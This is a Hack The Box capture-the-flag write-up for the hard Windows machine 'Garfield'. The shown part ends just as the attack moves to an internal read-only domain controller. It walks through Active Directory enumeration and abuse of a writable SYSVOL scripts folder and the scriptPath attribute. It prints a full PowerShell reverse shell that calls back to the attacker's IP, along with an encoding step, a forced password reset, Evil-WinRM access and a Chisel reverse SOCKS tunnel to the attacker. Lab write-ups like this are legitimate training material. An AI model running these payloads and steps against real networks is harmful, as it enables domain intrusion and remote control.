Skip to main content

HTB: Garfield Writeup

Updated 48 min readMarkdown
HTB: Garfield Writeup

Garfield is a hard-difficulty Windows machine that proves you don’t need a Domain Admin account to make a domain administrator’s day very bad.

We start with a set of valid credentials which quickly turns into an investigation involving writable SYSVOL permissions, delegated Active Directory privileges, an unexpected network pivot and a rather interesting Read-Only Domain Controller. Along the way, Kerberos delegation, RODC-specific Golden Tickets and Password Replication Policy weaknesses all play their part in taking the attack from a humble user shell to full domain compromise.

The real challenge isn’t finding one vulnerability; it’s connecting several seemingly unrelated misconfigurations and understanding how they work together. So, let’s follow the breadcrumbs. Garfield has quite a few secrets and apparently, not all of them are buried in the litter box.


About

  • OS: Windows
  • Difficulty: Hard
  • Release Date: 04 Apr, 2026

Machine Information

  • Initial Username — j.arbuckle
  • Initial Password — Th1sD4mnC4t!@1978
  • Target IP Address — 10.129.151.33
  • Attacker IP Address — 10.10.14.162

Workspace Preparation

  • Before beginning enumeration, a dedicated working directory is created to keep the assessment organized. A separate file is also prepared to store the initial credentials supplied for the machine:
mkdir Garfield && cd Garfield

Connectivity Verification

  • Before proceeding with service enumeration, the target’s network availability is verified:
ping -c 3 10.129.151.33 
  • All three ICMP Echo Requests receive responses, confirming that the target is reachable over the network.
  • The ttl=127 value is also consistent with a Windows system whose initial TTL is typically 128.Although TTL values can provide an operating-system fingerprinting clue, they should not be treated as definitive evidence of the target’s operating system.

Network Enumeration

  • An initial TCP port scan is performed using Nmap to identify open ports, determine the services running on them and gather additional information about the target:
sudo nmap -sCV --reason -oN garfield.nmap 10.129.151.33

Understanding the Exposed Services

  • Port 53 (DNS) — Handles domain name resolution and DNS-related queries.
  • Port 88 (Kerberos) — Provides domain authentication through the Kerberos protocol.
  • Port 135 (MSRPC) — Supports Windows Remote Procedure Call communication.
  • Port 139 (NetBIOS) — Supports legacy Windows network communication and file sharing.
  • Port 389 (LDAP) — Provides access to Active Directory directory information.
  • Port 445 (SMB) — Supports Windows file sharing and various domain-related operations.
  • Port 464 (Kerberos Password Change) — Handles Kerberos password-change operations.
  • Port 593 (RPC over HTTP) — Provides RPC communication over HTTP.
  • Port 636 (LDAPS) — LDAP over TLS/SSL.
  • Port 2179 (VMRC) — Commonly associated with Hyper-V virtual machine remote access.
  • Port 3268 (Global Catalog LDAP) — Provides forest-wide Active Directory directory searches.
  • Port 3269 (Global Catalog LDAPS) — Secure Global Catalog LDAP communication.
  • Port 3389 (RDP) — Provides remote desktop access to Windows systems.
  • Port 5985 (WinRM) — Provides Windows Remote Management over HTTP.

The combination of DNS, Kerberos, LDAP, SMB and Global Catalog services strongly suggests that the target is an Active Directory Domain Controller rather than an ordinary domain-joined workstation.

Identifying the Domain Controller

  • Additional information is obtained from the RDP NTLM information script with the below important pieces of information:
    • Domain Name: garfield.htb
    • NetBIOS Domain Name: GARFIELD
    • Computer Name: DC01
    • Fully Qualified Domain Name (FQDN): DC01.garfield.htb
    • Operating System Build: 17763, associated with Windows Server 2019

SMB Security Configuration

  • SMB message signing is enabled and required. This means SMB communications must include message signatures to help protect against tampering and certain adversary-in-the-middle attacks.

Clock Skew Observation

  • The target’s reported system time is approximately eight hours ahead of the attacker’s scanning environment.
  • This is particularly relevant in Active Directory environments because Kerberos authentication relies on synchronized clocks. Significant time differences between a client and a domain controller can cause Kerberos authentication failures.

Hosts Management

  • With the domain name and Domain Controller hostname identified, the next step is to ensure that the attacker’s machine can resolve these names to the target IP address.
  • Windows Active Directory environments rely heavily on DNS. Many domain-related operations, including Kerberos authentication and LDAP communication, depend on resolving hostnames correctly.
  • The following NetExec command generates a hosts file containing the discovered hostname and IP address information:
nxc smb 10.129.151.33 --generate-hosts-file garfield_hosts
  • The resulting entries are appended to the attacker’s /etc/hosts file:
cat garfield_hosts | sudo tee -a /etc/hosts
  • With the hostname mappings in place, tools can communicate with the Domain Controller using its hostname rather than repeatedly specifying its IP address.

Credential Validation and Authentication Testing

  • The initial credentials supplied for the machine are tested against the available network services before proceeding with deeper Active Directory Enumeration.
  • This helps establish which authentication mechanisms are accessible and whether the account has permission to use particular remote management services.
  • NetExec is used to validate the credentials against SMB, LDAP, WinRM and RDP.

SMB Authentication

  • The first authentication test targets the SMB service running on port 445:
nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
  • Authentication is successful. This establishes that the account can successfully authenticate to the Domain Controller over SMB. However, successful authentication does not automatically imply administrative privileges or unrestricted access to SMB resources.

LDAP Authentication

  • Since LDAP is the primary directory access protocol used by Active Directory, the credentials are also tested against LDAP service on port 389:
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
  • Authentication is successful. This confirms that the account can authenticate to the Active Directory directory service.
  • Active Directory stores information about users, groups, computers, organizational units and security permissions in its directory. Consequently, authenticated LDAP access provides an opportunity to investigate the domain’s structure and identify potentially misconfigured objects and permissions.

WinRM Authentication

  • The next service tested is Windows Remote Management (WinRM), exposed on TCP port 5985:
nxc winrm DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
  • WinRM provides remote management capabilities and allow authenticated users to obtain an interactive PowerShell session when the appropriate permissions are assigned.
  • Unlike SMB and LDAP, the WinRM authentication attempt fails.
  • This does not necessarily indicate that the password is incorrect. The same credentials have already been successfully validated against two other services.
  • A more likely explanation is that the account does not have the necessary permissions to access WinRM on the Domain Controller.
  • For WinRM access, a user generally needs to be authorized through the appropriate remote management permissions, such as membership in the Remote Management Users or Administrators group or an equivalent authorization configuration.
  • Therefore, the failed authentication should be interpreted as a limitation in the account’s current remote management access rather than evidence of invalid credentials.

RDP Authentication

  • Finally, the credentials are tested against Remote Desktop Protocol (RDP), which is exposed on TCP port 3389:
nxc rdp DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
  • Authentication is successful. An important distinction exists between successful credential validation and obtaining an interactive desktop session. The NetExec result confirms successful RDP authentication, but a full interactive login verified separately using RDP client, is unsuccessful.
  • The initial credentials are valid and provide authenticated access to both SMB and LDAP, as well as successful RDP authentication. However, WinRM access is not currently available.

NOTE: You should be able to distinguish between service-level authentication and the permissions required to establish interactive sessions.

SMB Share Enumeration

  • With the initial credentials validated, the next step is to examine the SMB shares exposed by the Domain Controller. SMB shares can contain useful information such as logon scripts, Group Policy configurations, deployment files and occasionally credentials inadvertently left behind by administrators.
  • NetExec is used to enumerate the available shares and identify which ones the current account can access.

Enumerating SMB shares

nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --shares
  • Five SMB shares are identified:
    • ADMIN$: An administrative share that provides access to the Windows directory. It is generally restricted to administrators.
    • C$: The default administrative share providing access to the system’s C: drive.
    • IPC$: Used for inter-process communication and certain remote management operations.
    • NETLOGON: A domain share commonly used to distribute logon scripts and other domain-related resources.
    • SYSVOL: A shared directory used by Domain Controllers to distribute domain-wide files, including Group Policy templates and scripts.
  • The account has reported read access to IPC$, NETLOGON and SYSVOL. No permissions are displayed for ADMIN$ and C$, suggesting that the account does not have ordinary share access through the tested credentials.
  • Of particular interest are the NETLOGON and SYSVOL shares. Both can contain scripts and configuration files that provide valuable information about the domain environment.

Spidering SMB Shares

  • Manually browsing every accessible directory can become time-consuming particularly when dealing with larger Active Directory environments.
  • To automate this process, NetExec provides the spider_plus module, which recursively enumerates accessible SMB shares and collects metadata about discovered files and directories:
nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M spider_plus
  • The enumeration identifies 3 readable shares, containing a total of 20 directories and 8 files.
  • More importantly, the module saves the discovered file metadata in a JSON file. This allows the results to be inspected without repeatedly querying the Domain Controller:
cat /home/nato/.nxc/modules/nxc_spider_plus/10.129.151.33.json
  • The same script printerDetect.bat appears in both NETLOGON and the domain’s SYSVOL scripts directory. The presence of the smae script in both locations suggest that it may be maintained or distributed through the domain’s shared directories.
  • However, the actual contents and permissions of the directories still need to be investigated.

NETLOGON Share Enumeration

  • The NETLOGON share is examined first to determine whether the discovered batch script contains useful information.
  • The smbclient utility provides an interactive and command-line interface for accessing SMB shares.
  • The following command lists the contents of the NETLOGON share:
smbclient //DC01.garfield.htb/NETLOGON -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls'
  • The directory contains only one visible file, printerDetect.bat.
  • The script is downloaded for inspection:
smbclient //DC01.garfield.htb/NETLOGON -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'get printerDetect.bat'
  • The script is a Windows batch file that uses Windows Remote Management Instrumentation Command-line (WMIC) to retrieve information about installed printers.
  • Nothing immediately interesting appears in the script.

Testing NETLOGON Write Permissions

  • A small test file is created locally to determine whether the authenticated account can upload files to the share:
echo "PWNED" > pwn.txt
  • The file is then uploaded:
smbclient //DC01.garfield.htb/NETLOGON -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'put pwn.txt pwn.txt'
  • The upload fails with NT_STATUS_ACCESS_DENIED, confirming that the account cannot create the test file in the root of the NETLOGON share.
  • A subsequent directory listing confirms that the share remains unchanged:
smbclient //DC01.garfield.htb/NETLOGON -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls'
  • The result establishes an important distinction: the account has read access to NETLOGON, but does not have permission to write files to its root directory.

SYSVOL Share Enumeration

  • Unlike NETLOGON, the SYSVOL share contains domain-wide configuration files, Group Policy data and scripts that may be processed by domain-joined systems.
  • Because these files can influence how domain computers and users behave, incorrect permissions on SYSVOL can have serious security implications.
  • The initial directory structure is enumerated using smbclient:
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls'
  • The share contains a directory name garfield.htb, which corresponds to the Active Directory domain.
  • The next command explores this directory:
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb\'
  • Three notable directories are identified:
    • DfsrPrivate: Associated with Distributed File System Replication (DFSR), which is used to replicate SYSVOL data between Domain Controllers.
    • Policies: Contains Group Policy data used to configure users and computers within the domain.
    • scripts: Contains domain-related scripts, including the previously discovered printerDetect.bat.
  • The scripts directory becomes particularly interesting because it contains the same batch file discovered earlier in NETLOGON.
  • Its contents are enumerated:
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb\scripts\'
  • The directory currently contains only printerDetect.bat.

Testing SYSVOL Write Permissions

  • The previously created test file is uploaded:
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'put pwn.txt garfield.htb\scripts\pwn.txt'
  • Unlike the previous attempt, the upload succeeds.
  • The directory is inspected again to confirm that the file was created:
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb\scripts\'
  • The presence of pwn.txt confirms that the initial domain account can create files in the SYSVOL\garfield.htb\scripts directory.
  • Although the account has only read access to the NETLOGON share, it can write a directory within SYSVOL. This demonstrates why share-level permission summaries should not be treated as a complete representation of the effective access; permissions may differ at the individual directory of file level.

Cleaning Up the Test File

  • Since the test has established that the directory is writable, the temporary file is removed to avoid leaving unnecessary artifacts on the target:
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'del garfield.htb\scripts\pwn.txt'
  • The directory is then checked again to verify deletion:
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb\scripts\'
  • The writable SYSVOL scripts directory is an important discovery to retain for subsequent investigation.

Active Directory User Enumeration

  • With SMB enumeration complete, the attention shifts to identifying the domain accounts that exist within Garfield.
  • User enumeration is an essential part of an Active Directory assessment because user accounts may expose useful information through their descriptions, group memberships, delegated permissions, service principal names and other directory attributes.
  • Since LDAP authentication has already been confirmed, NetExec can be used to retrieve domain user information.

Enumerating Domain Users

  • The following command queries LDAP for domain user accounts:
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --users
  • Of the seven domain accounts, krbtgt_8245 is particularly interesting because its description identifies it as a Kerberos service account for a Read-Only Domain Controller (RODC).
  • Also, l.wilson_adm reports two failed password attempts on the BadPW column. This indicates that two unsuccessful authentication attempts have been recorded for the account.

Exporting Domain Users

  • For easier reference during subsequent enumeration, the discovered usernames are exported into a local text file:
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --users-export garfield_users.txt

Active Directory Computer Enumeration

  • In addition to users, identifying domain-joined computers provides insight into the structure of the Active Directory environment:
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --computers
  • Two computer accounts are identified:
    • DC01$
    • RODC01$
  • The trailing $ character is the standard naming convention for Active Directory computer accounts.
  • The first account, DC01$, corresponds to the Domain Controller already identified during the initial Nmap scan.
  • The second account, RODC01$, is particularly significant. Its name suggest the presence of a Read-Only Domain Controller (RODC) within the environment.
  • An RODC is a specialized type of Domain Controller designed to provide authentication and directory services in locations where a traditional writable Domain Controller may not be desirable.
  • Unlike writable Domain Controllers, RODCs maintain a read-only copy of the Active Directory database. Their design is intended to reduce the risk associated with deploying Domain Controllers in less physically secure locations.
  • RODCs also introduce specific security mechanisms, including:
    • Password Replication Policies (PRPs).
    • RODC-specific Kerberos accounts.
    • Credential caching restrictions.
    • Delegation and authentication controls.
  • The discovery of RODC01$, together with earlier discovery of krbtgt_8245, provides a strong indication that RODC-related functionality will be relevant to the subsequent attack chain.

Additional Active Directory Enumeration

AD CS Enumeration

  • Active Directory Certificate Services (AD CS) is a Microsoft’s Public Key Infrastructure (PKI) implementation for issuing and managing digital certificates with an Active Directory environment.
  • Misconfigured certificate templates and enrollment permissions can create opportunities for privilege escalation, including scenarios where low-privileged users can obtain certificates that allow them to authenticate as more privileged accounts.
  • NetExec provides an AD CS enumeration module that searches Active Directory for certificate enrollment services:
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M adcs

Kerberoastable User Enumeration

  • Kerberoasting is an Active Directory attack technique that targets accounts associated with Service Principal Names (SPNs).
  • When a domain account has an SPN registered, an authenticated domain user can request a Kerberos service ticket for that account. Depending on the encryption type and account password strength, the ticket can potentially be subjected to offline password cracking.
  • NetExec can identify Kerberoastable accounts and request the corresponding service tickets:
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --kerberoast kerberoast
  • The enumeration returns zero Kerberoastable records.

AS-REP Roastable User Enumeration

  • This technique targets domain accounts configured with the Do not require Kerberos preauthentication option.
  • Under normal Kerberos authentication, clients must provide preauthentication data before the Key Distribution Center issues an authentication response.
  • When preauthentication is disabled for an account, an unauthenticated party may be able to request an AS-REP response containing material that can be subjected to offline password cracking.
  • NetExec can check for accounts with this configuration:
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --asreproast asreproast
  • No accounts matching the AS-REP Roasting criteria are identified.

Group Managed Service Account Enumeration

  • Group Managed Service Accounts (gMSAs) are specialized Active Directory accounts designed to simplify service account password management.
  • Unlike traditional service accounts, gMSAs support automatic password management by Active Directory. Their passwords are periodically generated and managed by the domain, reducing the need for administrators to manually maintain service account credentials.
  • However, access to a gMSA’s managed password must still be controlled carefully. Users or computers with excessive permissions to retrieve these passwords may be able to obtain credentials that expose privileged services.
  • NetExec provides functionality for checking whether the authenticated account can retrieve gMSA password information:
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --gmsa
  • No credentials were captured.

Network Interface Enumeration

  • Network interface information can provide additional insight into the machine’s network configuration, including multiple network segments, internal addresses and potentially isolated network interfaces.
  • NetExec can retrieve this information through SMB:
nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --interfaces
  • Two interfaces are discovered:
    • The first interface contains the target’s previously identified IPv4 address 10.129.151.33. This is the address used to access the Domain Controller from the attacker machine.
    • The second interface contains a different IPv4 address 192.168.100.1. This address indicates that the Domain Controller has an interface configured on a different network segment.
    • The presence of multiple network interfaces can indicate that a system participates in more than one network. In Active Directory environments, this may be relevant when investigating internal infrastructure, routing and communication between different network segments.

Active Directory Enumeration

RustHound-CE

  • To obtain a broader picture of the domain, RustHound-CE is used to collect Active Directory information:
rusthound-ce -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -z
  • The collection produces an archive containing the gathered Active Directory data. This archive can now be imported into BloodHound for relationship analysis.

BloodHound

  • BloodHound provides a graphical representation of Active Directory objects and their relationships. It is particularly useful for identifying permissions that may not be immediately obvious from basic user and group enumeration.
  • Starting BloodHound:
  • Log in to BloodHound, upload the archive generated by RustHound-CE and allow the ingestion process to finish before exploring the collected data.

Examining J.ARBUCKLE

  • The graph show that J.ARBUCKLE is a member of:
    • IT SUPPORT
    • DOMAIN USERS
  • The inbound Object Control relationships do not reveal anything particularly interesting.
  • However, membership in IT SUPPORT becomes significant when examining the permissions associated with the group.

Examining L.WILSON

  • The account belongs to:
    • DOMAIN USERS
    • REMOTE MANAGEMENT USERS
    • REMOTE DESKTOP USERS
  • The important finding appears under Outbound Object Control:
  • L.WILSON has the ForceChangePassword permission over L.WILSON_ADM.
  • This means that the account can reset the password of L.WILSON_ADM without knowing the account’s existing password, provided the permission is effective and the required conditions are met.

Examining L.WILSON_ADM

  • The L.WILSON_ADM account is a member of:
    • TIER 1
    • DOMAIN USERS
    • REMOTE MANAGEMENT USERS
    • REMOTE DESKTOP USERS
  • Its Outbound Object Control relationships reveal several interesting permissions:
    • It belongs to TIER 1 group
    • It has the AddSelf right over RODC ADMINSITRATORS.
    • It has WriteAccountRestrictions over RODC01.GARFIELD.HTB
    • It has ForceChangePassword over RODC01.GARFIELD.HTB
  • These relationships suggest that L.WILSON_ADM may provide a route toward controlling the Read-Only Domain Controller (RODC).

Examining RODC01

  • The computer account is a member of:
    • READ-ONLY DOMAIN CONTROLLER
    • DENIED RODC PASSWORD REPLICATION GROUP
  • Its Outbound Object Control relationship shows that RODC01.GARFIELD.HTB has ForceChangePassword over KRBTGT_8245.

Investigating Writable Active Directory Permissions

BloodyAD

  • BloodyAD is used to enumerate the objects and attributes that the initial account can modify:
bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get writable
  • Several entries are worth investigating, particularly the objects belonging to Liz Wilson and Liz Wilson ADM.
  • However, a Generic WRITE permission does not immediately explain which attributes can be modified. The next step is to inspect the permissions at the attribute level.

Inspecting the Specific Writable Attributes

  • BloodyAD provides a — detail option that exposes the individual attributes associated with the discovered permissions:
bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get writable --detail
  • The important discovery is that the scriptPath attribute is writable on several user objects, including:
    • Guest
    • krbtgt_8245
    • Liz Wilson
    • Liz Wilson ADM
  • The scriptPath attribute stores the path to a user’s logon script. When configured and processed during a successful logon, the referenced script can execute in that user’s context.
  • This creates an opportunity to influence what get executed when l.wilson logs in.

Identifying the Source of the ScriptPath Permission

NetExec DACL Enumeration

  • NetExec’s daclread module can be used to inspect the Discretionary Access Control List (DACL) of an Active Directory Object:
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M daclread -o TARGET='j.arbuckle' PRINCIPAL='IT SUPPORT'
  • This explains the earlier BloodyAD results. Because j.arbuckle belongs to IT SUPPORT, the account inherits the group’s ability to read and write the scriptPath attribute on applicable user objects.

Verifying with Impacket’s dacledit

  • The same DACL can be inspected using impacket’s dacledit utility:
impacket-dacledit -principal 'IT SUPPORT' -target j.arbuckle -action 'read' 'garfield.htb/j.arbuckle:Th1sD4mnC4t!@1978'
  • Both tools identify the same permission: IT SUPPORT has ReadProperty and WriteProperty rights over the scriptPath attribute on applicable user objects.

Gaining a Shell as l.wilson

  • The previous enumeration uncovered two findings worth investigating further:
    • The IT SUPPORT group has write permissions over the scriptPath attribute on user objects.
    • The garfield.htb/scripts directory inside SYSVOL is writable using the initial account j.arbuckle.
  • These findings create an interesting attack path. If a user account’s logon script configuration can be modified and a script can be placed in a location from which it can be accessed during logon, the script can potentially be used to execute commands in that user’s security context.

Preparing the Reverse Shell Payload

  • A reverse shell allows the compromised Windows host to establish an outbound connection to the attacker’s machine, providing an interactive command session.
  • A payload is generated using revshell (revshells.com)with the attacker’s IP address and a listening port configured:
  • The generated PowerShell payload is saved as rev.ps1:
$LHOST = "10.10.14.162"; $LPORT = 9001; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
  • The payload creates a TCP connection to the attacker’s machine, read commands received over that connection, executes them using Invoke-Expression and sends the resulting output back through the established connection.
  • To prepare the payload for PowerShell’s encoded-command execution option, it is converted to UTF-16LE and then Base64-encoded:
cat rev.ps1 | iconv -t utf-16le | base64 -w0

The conversion is important because PowerShell’s — EncodedCommand option expects Base64-encoded command text in UTF-16LE format. Encoding the payload also makes it easier to embed in a command or batch file without dealing with the original script’s quoting and special characters.

Uploading the Payload to SYSVOL

  • First, confirm the contents of the scrips directory:
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb/scripts/'
  • The reverse shell payload has been prepared as **rev.bat**. It can now be uploaded to the same directory:
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'put rev.bat garfield.htb/scripts/rev.bat'
  • The upload succeeds.
  • Verify that the file is present:
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb/scripts/'
  • The payload is now available in SYSVOL.

Setting Up a Listener

  • Start a Netcat listener on the attacker’s machine:
rlwrap -cAr nc -lvnp 9001
  • The listener waits for an incoming connection
  • rlwrap provides improved command-line interaction, while Netcat listens on TCP port 9001.
  • The next step is to configure the target account to reference it.

Checking the Existing scriptPath Value

  • Before modifying the attribute, retrieve its current value:
bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get object l.wilson --attr scriptPath
  • No scriptPath value is displayed, indicating that the attribute is currently unset in the returned result.

Modifying the scriptPath Attribute

  • Since j.arbuckle has the required WriteProperty permission, BloodyAD can be used to set the attribute to the uploaded batch file:
bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' set object l.wilson scriptPath -v rev.bat
  • The command succeeds. The account’s logon script configuration now references rev.bat.
  • It is worth distinguishing the two permissions involved in this attack:
    • SYSVOL write access allows the payload file to be placed in the scripts directory.
    • Active Directory WriteProperty access allows the scriptPath attribute on l.wilson to be modified.

Obtaining the Reverse Shell

  • Once the configured logon script is processed, the reverse shell payload connects back to the listener.
  • Success. The initial account has been used to obtain a shell as l.wilson.
  • Profile enumeration does not reveal anything particularly useful at this stage.
  • However, there is no need to abandon the enumeration findings collected earlier. BloodHound already identified a valuable relationship: l.wilson has ForceChangePassword permission over l.wilson_adm
  • This permission provides a direct route to resetting l.wilson_adm’s password.

Getting a Shell as L.WILSON_ADM

Abusing ForceChangePassword to Take over l.wilson_adm

  • The ForceChangePassword right allows a principal to reset another account’s password without supplying the existing password.
  • Since the current shell runs as garfield\l.wilson, and BloodHound identified the required relationship, the Active Directory PowerShell module Set-ADAccountPassword can be used to perform the reset.
  • First, create a secure string containing the new password:
$NewPass = ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force
  • The ConvertTo-SecureString cmdlet converts the plaintext password into a SecureString object, which is accepted by the Active Directory password-management cmdlets.
  • Next, reset the password of l.wilson_adm:
Set-ADAccountPassword -Identity "l.wilson_adm" -Reset -NewPassword $NewPass
  • The successful execution demonstrates that the current account has sufficient rights to perform the reset.

Validating the New Credentials

  • After resetting the password, the new credentials need to be tested against the available services.
  • SMB Authentication:
nxc smb DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
  • The authentication succeeds.
  • LDAP Authentication:
nxc ldap DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
  • The output confirms successful authentication.
  • WinRM Authentication:
nxc winrm DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
  • Authentication succeeds and the account can obtain a remote session.
  • RDP Authentication
nxc rdp DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
  • Although the credentials are valid, the RDP authentication test fails.

Obtaining a Shell Using Evil-WinRM

  • Since NetExec confirmed that l.wilson_adm could authenticate over WinRM, Evil-WinRM can be used to establish an interactive PowerShell session:
evil-winrm -i DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' 
  • The connection is established successfully.
  • The shell confirms that the session is running as garfield\l.wilson_adm.

Retrieving the User Flag

Investigating the Desktop directory through directory listing we get the user flag.

Enumerating the Network Interfaces

  • Recall that earlier NetExec interface enumeration identified a second network interface on DC01, configured with the address 192.168.100.1. This is worth investigating because it suggests that the domain controller is connected to an additional network segment:
ipconfig /all
  • The 192.168.100.1 address belongs to a private network connected through a Hyper-V virtual switch. This is consistent with the earlier interface enumeration and suggests that DC01 has connectivity to an internal network seperate from the externally reachable lab network.

Discovering the RODC Through DNS Enumeration

  • The next step is to investigate the domain’s DNS records.
  • BloodyAD provides a DNS dump capability that can retrieve records from an Active Directory-integrated DNS zone:
bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get dnsDump --zone garfield.htb
  • This confirms that RODC01 resolves to 192.168.100.2, placing it on the same network as the Hyper-V interface on DC01.
  • This is a significant finding because the RODC’s address belongs to an internal network that has not been directly exposed through the attacker’s initial access path.
  • The DNS dump therefore provides the missing information needed to investigate the second domain controller.

Testing Connectivity to RODC01

  • Since the current shell is running on DC01, connectivity to the internal RODC01 can be tested directly:
ping RODC01
  • The hostname resolves successfully.
  • The successful replies confirm that DC01 can reach RODC01 over the internal network.
  • This also confirms that the address discovered through DNS is active and that the two systems can communicate over the internal segment.

Updating the Attacker’s Hosts File

  • To make it easier to reference the RODC hostname from the attacking machine, add its internal address to /etc/hosts:
echo "192.168.100.2     RODC01.garfield.htb garfield.htb RODC01" | sudo tee -a /etc/hosts
  • This makes the hostname available for local name resolution on the attacking machine.
  • However, updating /etc/hosts only resolves the hostname to an IP address. It does not create a network route to 192.168.100.2. Since the internal address is not directly reachable from the attacker’s network, a tunnel through DC01 is required.

Establishing an Internal Network Tunnel with Chisel

  • To communicate with the internal RODC from the attacking machine, Chisel is used to create a reverse SOCKS tunnel.
  • Chisel is a tunnelling utility that transports network connections over HTTP and WebSocket-Compatible communication. Its reverse tunnelling functionality allows a client running on a compromised host to establish a connection back to an attacker-controlled server and expose a SOCKS proxy on the attacker’s machine.
  • In this scenario:
    • The attacker machine runs the Chisel server.
    • DC01 runs the Chisel client.
    • The reverse tunnel exposes a SOCKS5 proxy on the attacker machine.
    • Traffic sent through the proxy can be routed through DC01 toward the internal network.
  • Both Linux and Windows versions of Chisel are required.

Downloading the Linux Version

wget "https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_linux_amd64.gz" 
  • Extracting Chisel:
7z x chisel_1.12.0_linux_amd64.gz 
  • Making Chisel Binary Executable:
chmod +x chisel 

Downloading the Windows Version

wget "https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_windows_amd64.zip"
  • Extracting Chisel:
7z x chisel_1.12.0_windows_amd64.zip

Serving the Windows Binary

  • A simple Python HTTP server can be used to transfer chisel.exe to the compromised host:
python -m http.server

Uploading Chisel to DC01

  • Return to the Evil-WinRM session running as l.wilson_adm.
  • Move to the C:\ProgramData:
cd C:\ProgramData
  • Download the Windows executable from the attacker’s HTTP server:
curl "http://10.10.14.162:8000/chisel.exe" -o chisel.exe
  • The file is saved locally.
  • To verify successful and complete download a hash of the executable file can be calculated on the attacker machine:
md5sum chisel.exe
  • Calculating the hash on the DC01 of the uploaded chisel.exe:
Get-FileHash chisel.exe -Algorithm MD5
  • The hashes matches!

Configuring the Reverse SOCKS Tunnel

  • With both binaries in place, the next step is to establish the tunnel.
  • On the attacking machine, start Chisel in server mode:
./chisel server -p 8001 --reverse --socks5
  • The server starts successfully and waits for the Windows client to connect.
  • Back in the Evil-WinRM session, execute the Windows binary:
.\chisel.exe client 10.10.14.162:8001 R:socks
  • The command instructs the client to connect to the Chisel server at 10.10.14.162:8001 and request a reverse SOCKS proxy.
  • Chisel client successfully connected to the server.
  • The attacker’s Chisel server also confirms that the reverse SOCKS listener has been established.
  • Traffic directed through this proxy can now travel through the Chisel connection to DC01, allowing the attacker to investigate services on networks accessible from the compromised host.
  • At this point, the tunnel has been established. The internal RODC at 192.168.100.2 is the next target for further enumeration.

Gaining Additional Privileges on RODC01

  • With the Chisel SOCKS tunnel established, the next step is to access the Read-Only Domain Controller (RODC01) through proxychains. Although the account l.wilson_adm has already provided access to DC01, the RODC presents a different attack surface, particularly around its Active Directory permissions and delegated administrative roles.

Accessing RODC01 Through SOCKS Proxy

